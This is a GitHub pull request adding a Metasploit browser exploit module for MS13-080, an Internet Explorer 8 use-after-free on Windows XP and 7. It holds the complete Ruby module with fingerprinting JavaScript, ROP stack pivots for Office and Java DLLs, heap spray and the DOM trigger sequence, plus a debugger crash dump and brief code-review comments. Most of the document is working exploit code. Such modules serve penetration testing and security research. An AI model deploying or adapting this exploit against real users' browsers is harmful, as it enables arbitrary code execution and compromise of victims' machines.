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Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free #2510
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modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb
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## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# Framework web site for more information on licensing and terms of use. | ||
# http://metasploit.com/framework/ | ||
## | ||
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require 'msf/core' | ||
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class Metasploit3 < Msf::Exploit::Remote | ||
Rank = NormalRanking | ||
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include Msf::Exploit::Remote::HttpServer::HTML | ||
include Msf::Exploit::RopDb | ||
include Msf::Exploit::Remote::BrowserAutopwn | ||
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autopwn_info({ | ||
:ua_name => HttpClients::IE, | ||
:ua_minver => "8.0", | ||
:ua_maxver => "8.0", | ||
:javascript => true, | ||
:os_name => OperatingSystems::WINDOWS, | ||
:rank => NormalRanking | ||
}) | ||
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def initialize(info={}) | ||
super(update_info(info, | ||
'Name' => "MS13-080 Microsoft Internet Explorer CDisplayPointer Use-After-Free", | ||
'Description' => %q{ | ||
This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally | ||
found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP, | ||
around the same time frame as CVE-2013-3893, except this was kept out of the public eye by | ||
multiple research companies and the vendor until the October patch release. | ||
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This issue is a use-after-free vulnerability in CDisplayPointer via the use of a | ||
"onpropertychange" event handler. To setup the appropriate buggy conditions, we first craft | ||
the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element. | ||
If we use a select() function for the CTextArea element, two important things will happen: | ||
a CDisplayPointer object will be created for CTextArea, and it will also trigger another | ||
event called "onselect". The "onselect" event will allow us to setup for the actual event | ||
handler we want to abuse - the "onpropertychange" event. Since the CBlockElement is a child | ||
of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger | ||
"onpropertychange". During "onpropertychange" event handling, a free of the CDisplayPointer | ||
object can be forced by using an "Unslect" (other approaches also apply), but a reference | ||
of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after | ||
the CDoc::GetLineInfo call, because it is still trying to use that to update | ||
CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash | ||
finally occurs due to accessing the freed memory. By controlling this freed memory, it is | ||
possible to achieve arbitrary code execution under the context of the user. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'Unknown', # Exploit in the wild | ||
'sinn3r' # Metasploit | ||
], | ||
'References' => | ||
[ | ||
[ 'CVE', '2013-3897' ], | ||
[ 'OSVDB', '98207' ], | ||
[ 'MSB', 'MS13-080' ], | ||
[ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/10/08/ms13-080-addresses-two-vulnerabilities-under-limited-targeted-attacks.aspx' ], | ||
[ 'URL', 'http://jsunpack.jeek.org/?report=847afb154a4e876d61f93404842d9a1b93a774fb' ] | ||
], | ||
'Platform' => 'win', | ||
'Targets' => | ||
[ | ||
[ 'Automatic', {} ], | ||
[ 'IE 8 on Windows XP SP3', {} ], | ||
[ 'IE 8 on Windows 7', {} ] | ||
], | ||
'Payload' => | ||
{ | ||
'BadChars' => "\x00", | ||
'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500 | ||
}, | ||
'DefaultOptions' => | ||
{ | ||
'InitialAutoRunScript' => 'migrate -f' | ||
}, | ||
'Privileged' => false, | ||
# Jsunpack first received a sample to analyze on Sep 12 2013. | ||
# MSFT patched this on Oct 8th. | ||
'DisclosureDate' => "Oct 08 2013", | ||
'DefaultTarget' => 0)) | ||
end | ||
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def get_check_html | ||
%Q|<html> | ||
<script> | ||
#{js_os_detect} | ||
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function os() { | ||
var detect = window.os_detect.getVersion(); | ||
var os_string = detect.os_name + " " + detect.os_flavor + " " + detect.ua_name + " " + detect.ua_version; | ||
return os_string; | ||
} | ||
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function dll() { | ||
var checka = 0; | ||
var checkb = 0; | ||
try { | ||
checka = new ActiveXObject("SharePoint.OpenDocuments.4"); | ||
} catch (e) {} | ||
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try { | ||
checkb = new ActiveXObject("SharePoint.OpenDocuments.3"); | ||
} catch (e) {} | ||
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if ((typeof checka) == "object" && (typeof checkb) == "object") { | ||
try{location.href='ms-help://'} catch(e){} | ||
return "#{@js_office_2010_str}"; | ||
} | ||
else if ((typeof checka) == "number" && (typeof checkb) == "object") { | ||
try{location.href='ms-help://'} catch(e){} | ||
return "#{@js_office_2007_str}"; | ||
} | ||
return "#{@js_default_str}"; | ||
} | ||
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window.onload = function() { | ||
window.location = "#{get_resource}/search?o=" + escape(os()) + "&d=" + dll(); | ||
} | ||
</script> | ||
</html> | ||
| | ||
end | ||
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def junk | ||
rand_text_alpha(4).unpack("V")[0].to_i | ||
end | ||
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def get_payload(target_info) | ||
rop_payload = '' | ||
os = target_info[:os] | ||
dll_used = '' | ||
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case target_info[:dll] | ||
when @js_office_2007_str | ||
dll_used = "Office 2007" | ||
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pivot = | ||
[ | ||
0x51c2213f, # xchg eax,esp # popad # add byte ptr [eax],al # retn 4 | ||
junk, # ESI due to POPAD | ||
junk, # EBP due to POPAD | ||
junk, | ||
junk, # EBX due to POPAD | ||
junk, # EDX due to POPAD | ||
junk, # ECX due to POPAD | ||
0x51c5d0a7, # EAX due to POPAD (must be writable for the add instruction) | ||
0x51bd81db, # ROP NOP | ||
junk # Padding for the retn 4 from the stack pivot | ||
].pack("V*") | ||
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rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2007', 'pivot'=>pivot}) | ||
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when @js_office_2010_str | ||
dll_used = "Office 2010" | ||
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pivot = | ||
[ | ||
0x51c00e64, # xchg eax, esp; add eax, [eax]; add esp, 10; mov eax,esi; pop esi; pop ebp; retn 4 | ||
junk, | ||
junk, | ||
junk, | ||
junk, | ||
junk, | ||
0x51BE7E9A, # ROP NOP | ||
junk # Padding for the retn 4 from the stack pivot | ||
].pack("V*") | ||
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rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>pivot}) | ||
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when @js_default_str | ||
if target_info[:os] =~ /windows xp/i | ||
# XP uses msvcrt.dll | ||
dll_used = "msvcrt" | ||
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pivot = | ||
[ | ||
0x77C3868A # xchg eax,esp; rcr [ebx-75], 0c1h; pop ebp; ret | ||
].pack("V*") | ||
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rop_payload = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp', 'pivot'=>pivot}) | ||
else | ||
# Assuming this is Win 7, and we'll use Java 6 ROP | ||
dll_used = "Java" | ||
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pivot = | ||
[ | ||
0x7c342643, # xchg eax,esp # pop edi # add byte ptr [eax],al # pop ecx # retn | ||
junk # Padding for the POP ECX | ||
].pack("V*") | ||
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rop_payload = generate_rop_payload('java', payload.encoded, {'pivot'=>pivot}) | ||
end | ||
end | ||
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print_status("Target uses #{os} with #{dll_used} DLL") | ||
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rop_payload | ||
end | ||
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def get_sploit_html(cli, target_info) | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Looks like the cli argument isn't used in this function, can be deleted? |
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os = target_info[:os] | ||
dll = target_info[:dll] | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I think dll isn't used in this function, is it? can be deleted? |
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js_payload = '' | ||
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if os =~ /Windows (7|XP) MSIE 8\.0/ | ||
js_payload = Rex::Text.to_unescape(get_payload(target_info)) | ||
else | ||
print_error("Target not supported by this attack.") | ||
return "" | ||
end | ||
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%Q|<html> | ||
<head> | ||
<script> | ||
#{js_property_spray} | ||
sprayHeap({shellcode:unescape("#{js_payload}")}); | ||
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var earth = document; | ||
var data = ""; | ||
for (i=0; i<17; i++) { | ||
if (i==7) { data += unescape("%u2020%u2030"); } | ||
else { data += "\\u4141\\u4141"; } | ||
} | ||
data += "\\u4141"; | ||
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function butterfly() { | ||
for(i=0; i<20; i++) { | ||
var effect = earth.createElement("div"); | ||
effect.className = data; | ||
} | ||
} | ||
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function kaiju() { | ||
var godzilla = earth.createElement("textarea"); | ||
var minilla = earth.createElement("pre"); | ||
earth.body.appendChild(godzilla); | ||
earth.body.appendChild(minilla); | ||
godzilla.appendChild(minilla); | ||
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godzilla.onselect=function(e) { | ||
minilla.swapNode(earth.createElement("div")); | ||
} | ||
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var battleStation = false; | ||
var war = new Array(); | ||
godzilla.onpropertychange=function(e) { | ||
if (battleStation == true) { | ||
for (i=0; i<50; i++) { | ||
war.push(earth.createElement("span")); | ||
} | ||
} | ||
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earth.execCommand("Unselect"); | ||
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if (battleStation == true) { | ||
for (i=0; i < war.length; i++) { | ||
war[i].className = data; | ||
} | ||
} | ||
else { | ||
battleStation = true; | ||
} | ||
} | ||
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butterfly(); | ||
godzilla.select(); | ||
} | ||
</script> | ||
</head> | ||
<body onload='kaiju()'> | ||
</body> | ||
</html> | ||
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end | ||
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def on_request_uri(cli, request) | ||
if request.uri =~ /search\?o=(.+)\&d=(.+)$/ | ||
target_info = { :os => Rex::Text.uri_decode($1), :dll => Rex::Text.uri_decode($2) } | ||
sploit = get_sploit_html(cli, target_info) | ||
send_response(cli, sploit, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) | ||
return | ||
end | ||
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html = get_check_html | ||
print_status("Checking out target...") | ||
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) | ||
end | ||
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def exploit | ||
@js_office_2007_str = Rex::Text.rand_text_alpha(4) | ||
@js_office_2010_str = Rex::Text.rand_text_alpha(5) | ||
@js_default_str = Rex::Text.rand_text_alpha(6) | ||
super | ||
end | ||
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end | ||
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=begin | ||
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+hpa this for debugging or you might not see a crash at all :-) | ||
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0:005> r | ||
eax=d6091326 ebx=0777efd4 ecx=00000578 edx=000000c8 esi=043bbfd0 edi=043bbf9c | ||
eip=6d6dc123 esp=043bbf7c ebp=043bbfa0 iopl=0 nv up ei pl zr na pe nc | ||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 | ||
mshtml!QIClassID+0x30: | ||
6d6dc123 8b03 mov eax,dword ptr [ebx] ds:0023:0777efd4=???????? | ||
0:005> u | ||
mshtml!QIClassID+0x30: | ||
6d6dc123 8b03 mov eax,dword ptr [ebx] | ||
6d6dc125 8365e800 and dword ptr [ebp-18h],0 | ||
6d6dc129 8d4de8 lea ecx,[ebp-18h] | ||
6d6dc12c 51 push ecx | ||
6d6dc12d 6870c16d6d push offset mshtml!IID_IProxyManager (6d6dc170) | ||
6d6dc132 53 push ebx | ||
6d6dc133 bf02400080 mov edi,80004002h | ||
6d6dc138 ff10 call dword ptr [eax] | ||
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=end |
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This could be part of a mixin as presumably this javascript would be used for all exploits using hxds?
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Yeah, it will be. I recently obtained multiple versions of Office so I'll be looking into that. Ticket:
http://dev.metasploit.com/redmine/issues/8413